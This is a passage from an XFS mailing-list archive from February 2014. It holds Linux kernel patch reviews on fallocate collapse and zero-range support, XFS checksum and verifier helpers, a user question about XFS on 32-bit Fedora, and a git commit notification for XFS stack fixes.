detect and dig holes\n"), out); > - fputs(_(" -l, --length length of the (de)allocation, in bytes\n"), > out); > - fputs(_(" -n, --keep-size don't modify the length of the file\n"), > out); > - fputs(_(" -o, --offset offset of the (de)allocation, in bytes\n"), > out); > - fputs(_(" -p, --punch-hole punch holes in the file\n"), out); > - fputs(_(" -v, --verbose verbose mode\n"), out); > + fputs(_(" -c, --collapse-range collapse a hole in the file\n"), out); I think that it is better to change like this => "collapse space in the file" And I add util-liunx's maintainer in this mail loop. Thanks. From linkinjeon@gmail.com Wed Feb 26 22:03:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1ACF629DF8 for ; Wed, 26 Feb 2014 22:03:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B203CAC005 for ; Wed, 26 Feb 2014 20:03:55 -0800 (PST) X-ASG-Debug-ID: 1393473833-04bdf05dab87ac0001-NocioJ Received: from mail-qa0-f45.google.com (mail-qa0-f45.google.com [209.85.216.45]) by cuda.sgi.com with ESMTP id RsqnSYZVkSMuMiWj (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 26 Feb 2014 20:03:54 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.45 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.45] Received: by mail-qa0-f45.google.com with SMTP id m5so3512376qaj.18 for ; Wed, 26 Feb 2014 20:03:53 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.45] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.45] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=7lvNUktWqYcAsB/7deFiY4yhR9ZCA1wP0zq3oZXJFpM=; b=WghLbHBZiCGAlv6ShpuZ/KY8xMZ7UzydDwIn6Yi3zwTKT9ZWmNUNqjyuaaOv/UHpGh cmlaP6u2VQOnBEszN3fINiD/wWa/HP1waBGL1NDHR84SDYkaUCYuUPIo9Gy8KOLaZYso C2A/ElPTrB3P8PuIYeYzJfgHQJ0mqtht2DwMP0Kwwmnrfz0xNz+DxZ5ooycmaXX2+xkH n3ak2i5fOySt3eS82Cab9hDKAoYLmYRoNu/hRNWde5l2XbG9Dq1c/hWu4oen7x5prie0 LxeuyCUCPmY6k37svEnE7etroY3vgJo5GI7ggu9XTj/aqZTK6Hwn/uWxxGRzvXhMvZ5B CJnA== MIME-Version: 1.0 X-Received: by 10.140.36.200 with SMTP id p66mr4259359qgp.54.1393473833712; Wed, 26 Feb 2014 20:03:53 -0800 (PST) Received: by 10.96.109.102 with HTTP; Wed, 26 Feb 2014 20:03:53 -0800 (PST) In-Reply-To: <20140226164827.GB11452@thunk.org> References: <1392908861-3563-1-git-send-email-linkinjeon@gmail.com> <20140222170930.GE26637@thunk.org> <20140226164827.GB11452@thunk.org> Date: Thu, 27 Feb 2014 13:03:53 +0900 Message-ID: Subject: Re: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate To: "Theodore Ts'o" Cc: Namjae Jeon , viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qa0-f45.google.com[209.85.216.45] X-Barracuda-Start-Time: 1393473834 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145556 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-02-27 1:48 GMT+09:00, Theodore Ts'o : > On Mon, Feb 24, 2014 at 10:22:10AM +0900, Namjae Jeon wrote: >> >> + ret = ext4_es_remove_extent(inode, punch_start, >> >> + EXT_MAX_BLOCKS - punch_start - 1); >> >> + if (ret) { >> >> + up_write(&EXT4_I(inode)->i_data_sem); >> >> + goto out_stop; >> >> + } >> > >> > Doing this at first is probably a bad idea; you should do this at the >> > end, and then completely invalidate the es cache for that inode. That >> > way, the right thing happens if you get an error in the middle >> > releasing the boxes and shifting the extents: >> Okay, I see. > > Actually, thinking about this some more, we do want to do this first, > since if we error out, we do need to make sure the extent cache is > flushed. Okay. > >> If there is error in the middle of extent shifting, the hole will >> present between the last shifted extent and the extent at which error >> happen so this will be consistent state. >> IMHO even if there is error in between the shift, filesystem will be >> in consistent state. >> Am I missing something? > > No, I was wrong about that; you're right. The file will be in an > inconsistent statement, which will probably be highly confusing for > the application, but the file system will be fine. > > So I withdraw my complaints. I'll do a bit more testing, but so far > the patch looks fine to me. Thanks for your reply and your work! Thanks for your review! I will fix these include Hugh's review points. > > - Ted > From david@fromorbit.com Wed Feb 26 22:17:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B18C129DF8 for ; Wed, 26 Feb 2014 22:17:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 41886AC004 for ; Wed, 26 Feb 2014 20:17:37 -0800 (PST) X-ASG-Debug-ID: 1393474656-04bdf05dab88200001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Bl55BNueHcgVYlUR for ; Wed, 26 Feb 2014 20:17:36 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgKAFy7DlN5LJYe/2dsb2JhbABZgwaDQ7kDhVSBGBd0giUBAQUnExwjEAgDGAklDwUlAyETh3jKIBcWjj4HhDcBA5g3ilSHVoNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 14:47:35 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIsPS-0006mq-4Y; Thu, 27 Feb 2014 15:17:22 +1100 Date: Thu, 27 Feb 2014 15:17:22 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/9] xfs: add helper for verifying checksums on xfs_bufs Message-ID: <20140227041722.GG29907@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/9] xfs: add helper for verifying checksums on xfs_bufs References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-6-git-send-email-sandeen@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392767549-25574-6-git-send-email-sandeen@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393474656 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145556 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 05:52:25PM -0600, Eric Sandeen wrote: > Many/most callers of xfs_verify_cksum() pass bp->b_addr and > BBTOB(bp->b_length) as the first 2 args. Add a helper > which can just accept the bp and the crc offset, and work > it out on its own, for brevity. > > Signed-off-by: Eric Sandeen Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Feb 26 22:21:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BC8CC29DF8 for ; Wed, 26 Feb 2014 22:21:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9D59F304059 for ; Wed, 26 Feb 2014 20:21:08 -0800 (PST) X-ASG-Debug-ID: 1393474866-04cbb066e583c30001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 4PJuRrfPruIJ8fdV for ; Wed, 26 Feb 2014 20:21:07 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgKAIi8DlN5LJYe/2dsb2JhbABPCoMGg0O5A4VUgRgXdIIlAQEFOhwjEAgDGAklDwUlAyETh3jKIBcWjWJcB4Q3BJg3ilSHVoNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 14:51:06 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIsSr-0006nZ-Fo; Thu, 27 Feb 2014 15:20:53 +1100 Date: Thu, 27 Feb 2014 15:20:53 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 7/9 V2] xfs: add xfs_verifier_error() Message-ID: <20140227042053.GH29907@dastard> X-ASG-Orig-Subj: Re: [PATCH 7/9 V2] xfs: add xfs_verifier_error() References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-8-git-send-email-sandeen@redhat.com> <53056F43.7070005@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53056F43.7070005@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393474866 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145557 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 19, 2014 at 08:58:11PM -0600, Eric Sandeen wrote: > We want to distinguish between corruption, CRC errors, > etc. In addition, the full stack trace on verifier errors > seems less than helpful; it looks more like an oops than > corruption. > > Create a new function to specifically alert the user to > verifier errors, which can differentiate between > EFSCORRUPTED and CRC mismatches. It doesn't dump stack > unless the xfs error level is turned up high. > > Define a new error message (EFSBADCRC) to clearly identify > CRC errors. (Defined to EILSEQ, bad byte sequence) I've updated this to be EBADMSG, to match the code. Otherwise, looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From jonernst07@gmail.com Wed Feb 26 22:41:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0F9AC29DF8 for ; Wed, 26 Feb 2014 22:41:18 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A6D7C304059 for ; Wed, 26 Feb 2014 20:41:17 -0800 (PST) X-ASG-Debug-ID: 1393476075-04bdf05daa88ca0001-NocioJ Received: from mail-qa0-f52.google.com (mail-qa0-f52.google.com [209.85.216.52]) by cuda.sgi.com with ESMTP id duIFZRn0yMZHsVjV (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 26 Feb 2014 20:41:16 -0800 (PST) X-Barracuda-Envelope-From: jonernst07@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.52 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.52] Received: by mail-qa0-f52.google.com with SMTP id j15so3454388qaq.25 for ; Wed, 26 Feb 2014 20:41:15 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.52] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.52] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=HLG32qcibAbq+QEuke94KplFKKvB9M72k8/pz5gqC5w=; b=GKfz9DgeeKHBqSWOXcXFjXYyRPoFRMfc2xnvPmZBIvzvAypjjkNnqZUEVEa5KtH/Dw /FD9C7Vj+m7lfWMftwp3NrsWMN9Fk1uiuEZs2A6YoNr+iQrHN0By+Bfw8+y3H/NUxKJ7 HD6ChEu/4KUz638vgAN/KXzAVpo1xWtbHl1r5vdXceMimmg+3/t3Lgz9ymP94xaX61Nb FIZnIJ1f9uoDbwQr5nDRyOD1lPI53tQB/lAB6k+DpVqrJ3m82NZ5WO58bPt/CGjhilDZ 2BuYGcmDntuz4a7SdlSjD4vaLv1RsweAqh6vth9UpP6+4oZ+JvfZxOwYK4HqJtX5PAac GumA== MIME-Version: 1.0 X-Received: by 10.224.98.212 with SMTP id r20mr13743085qan.0.1393476075646; Wed, 26 Feb 2014 20:41:15 -0800 (PST) Received: by 10.96.123.231 with HTTP; Wed, 26 Feb 2014 20:41:15 -0800 (PST) In-Reply-To: References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> <1393355679-11160-6-git-send-email-lczerner@redhat.com> Date: Wed, 26 Feb 2014 23:41:15 -0500 Message-ID: Subject: Re: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate From: jon ernst X-ASG-Orig-Subj: Re: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate To: Lukas Czerner Cc: "linux-ext4@vger.kernel.org List" , "Theodore Ts'o" , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f52.google.com[209.85.216.52] X-Barracuda-Start-Time: 1393476076 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145557 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email On Wed, Feb 26, 2014 at 1:00 AM, jon ernst wrote: > On Tue, Feb 25, 2014 at 2:14 PM, Lukas Czerner wrote: >> Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same >> functionality as xfs ioctl XFS_IOC_ZERO_RANGE. >> >> It can be used to convert a range of file to zeros preferably without >> issuing data IO. Blocks should be preallocated for the regions that span >> holes in the file, and the entire range is preferable converted to >> unwritten extents >> >> This can be also used to preallocate blocks past EOF in the same way as >> with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode >> size to remain the same. >> >> Also add appropriate tracepoints. >> >> Signed-off-by: Lukas Czerner >> --- >> fs/ext4/ext4.h | 2 + >> fs/ext4/extents.c | 270 +++++++++++++++++++++++++++++++++++++++++--- >> fs/ext4/inode.c | 17 ++- >> include/trace/events/ext4.h | 64 +++++------ >> static int >> +ext4_ext_convert_initialized_extent(handle_t *handle, struct inode *inode, >> + struct ext4_map_blocks *map, >> + struct ext4_ext_path *path, int flags, >> + unsigned int allocated, ext4_fsblk_t newblock) >> +{ >> + int ret = 0; >> + int err = 0; >> + >> + /* >> + * Make sure that the extent is no bigger than we support with >> + * uninitialized extent >> + */ >> + if (map->m_len > EXT_UNINIT_MAX_LEN) >> + map->m_len = EXT_UNINIT_MAX_LEN / 2; > Pardon my possible dumb question. Why do you use "EXT_UNINIT_MAX_LEN/ 2;" here instead of "EXT_UNINIT_MAX_LEN" I don't see the reason why we can't use EXT_UNINIT_MAX_LEN here. (resend, Ping on this question, thank you!) Thanks! Jon From david@fromorbit.com Wed Feb 26 23:02:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E720129DF8 for ; Wed, 26 Feb 2014 23:02:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BA3FF304059 for ; Wed, 26 Feb 2014 21:02:11 -0800 (PST) X-ASG-Debug-ID: 1393477325-04cb6c567884c40001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id bCyKxtA5g9ile7va for ; Wed, 26 Feb 2014 21:02:06 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgKAOzFDlN5LJYe/2dsb2JhbABZgwaDQ7kChVSBGBd0giUBAQU6HCMQCAMOCgklDwUlAyETh3jKIRcWjj4HhDcBA5g3ilSHVoNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 15:32:04 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIt6U-0006tM-BE; Thu, 27 Feb 2014 16:01:50 +1100 Date: Thu, 27 Feb 2014 16:01:50 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs_io: add fzero command for zeroing range via fallocate Message-ID: <20140227050150.GI29907@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: add fzero command for zeroing range via fallocate References: <1393355733-12099-1-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355733-12099-1-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393477325 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145558 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 08:15:33PM +0100, Lukas Czerner wrote: > Add fzero command which zeroes a range of the file using > fallocate FALLOC_FL_ZERO_RANGE flag. > > Signed-off-by: Lukas Czerner Looks ok, but... > @@ -312,7 +342,17 @@ prealloc_init(void) > fcollapse_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; > fcollapse_cmd.args = _("off len"); > fcollapse_cmd.oneline = > - _("de-allocates space and eliminates the hole by shifting extents"); > + _("de-allocates space and eliminates the hole by shifting extents"); > add_command(&fcollapse_cmd); I'll drop this change because it pushes the line beyond 80 characters.... Otherwise, Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From lists@colorremedies.com Wed Feb 26 23:38:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=3.0 required=5.0 tests=TVD_SUBJ_NUM_OBFU_MINFP autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CC7E529DF8 for ; Wed, 26 Feb 2014 23:38:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 57F3DAC003 for ; Wed, 26 Feb 2014 21:38:08 -0800 (PST) X-ASG-Debug-ID: 1393479480-04bdf05da98be10001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id LTTl46Ip2VtqTw2U (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 26 Feb 2014 21:38:00 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:60389 helo=[192.168.1.145]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WItfU-003zNR-G4 for xfs@oss.sgi.com; Wed, 26 Feb 2014 22:38:00 -0700 From: Chris Murphy Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: XFS on Fedora i686, armv7hl Message-Id: <8A28EF88-012E-4036-BDB6-E76B1CC569A7@colorremedies.com> X-ASG-Orig-Subj: XFS on Fedora i686, armv7hl Date: Wed, 26 Feb 2014 22:37:59 -0700 To: "xfs@oss.sgi.com" Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1393479480 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145558 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, Fedora is considering XFS as their default file system. They support = three primary architectures: x86_64, i686, and armv7hl. Do XFS devs = have any reservations about XFS as a default file system on either i686, = or arm? So far the only thing I've run into with kernel 3.13.4-200.fc20.i686+PAE = will not mount an XFS volume larger than 16TB. But I haven't tried = filling a < 16TB volume with a significant amount of data while running = 32bit, and anyway it's just easier to ask if there are other gotchas, or = reservations about this combination. XFS (sdc): file system too large to be mounted on this system. [snip] XFS (sdc): Internal error xfs_sb_read_verify at line 630 of file = fs/xfs/xfs_sb.c. Caller 0xf8b19e1c [1] Thanks, Chris Murphy [1] The too large warning happens with ext4 at mount time also. A Btrfs = volume mounts OK, although I don't know if it actually withstands = significant use. http://paste.fedoraproject.org/80784/93470280/= From dgc@oss.sgi.com Thu Feb 27 00:37:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id E9CB77F4E; Thu, 27 Feb 2014 00:37:03 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-stack-fixes, created. xfs-for-linus-v3.14-rc1-2-12923-g93a8614 X-Git-Refname: refs/heads/xfs-stack-fixes X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: 93a8614e3a4dccd526aca34e892ac0b27f64b506 Message-Id: <20140227063703.E9CB77F4E@oss.sgi.com> Date: Thu, 27 Feb 2014 00:37:01 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-stack-fixes has been created at 93a8614e3a4dccd526aca34e892ac0b27f64b506 (commit) - Log ----------------------------------------------------------------- commit 93a8614e3a4dccd526aca34e892ac0b27f64b506 Author: Dave Chinner Date: Thu Feb 27 16:51:39 2014 +1100 xfs: fix directory inode iolock lockdep false positive The change to add the IO lock to protect the directory extent map during readdir operations has cause lockdep to have a heart attack as it now sees a different locking order on inodes w.r.t. the mmap_sem because readdir has a different ordering to write(). Add a new lockdep class for directory inodes to avoid this false positive. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner commit a1358aa3d39251c16c6d8b20945e40bdfc2aad68 Author: Dave Chinner Date: Thu Feb 27 16:51:26 2014 +1100 xfs: allocate xfs_da_args to reduce stack footprint The struct xfs_da_args used to pass directory/attribute operation information to the lower layers is 128 bytes in size and is allocated on the stack. Dynamically allocate them to reduce the stack footprint of directory operations. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner commit f876e44603ad091c840a5fae5b0753bbb421c037 Author: Dave Chinner Date: Thu Feb 27 16:40:42 2014 +1100 xfs: always do log forces via the workqueue Log forces can occur deep in the call chain when we have relatively little stack free. Log forces can also happen at close to the call chain leaves (e.g. xfs_buf_lock()) and hence we can trigger IO from places where we really don't want to add more stack overhead. This stack overhead occurs because log forces do foreground CIL pushes (xlog_cil_push_foreground()) rather than waking the background push wq and waiting for the for the push to complete. This foreground push was done to avoid confusing the CFQ Io scheduler when fsync()s were issued, as it has trouble dealing with dependent IOs being issued from different process contexts. Avoiding blowing the stack is much more critical than performance optimisations for CFQ, especially as we've been recommending against the use of CFQ for XFS since 3.2 kernels were release because of it's problems with multi-threaded IO workloads. Hence convert xlog_cil_push_foreground() to move the push work to the CIL workqueue. We already do the waiting for the push to complete in xlog_cil_force_lsn(), so there's nothing else we need to modify to make this work. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Thu Feb 27 00:37:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: 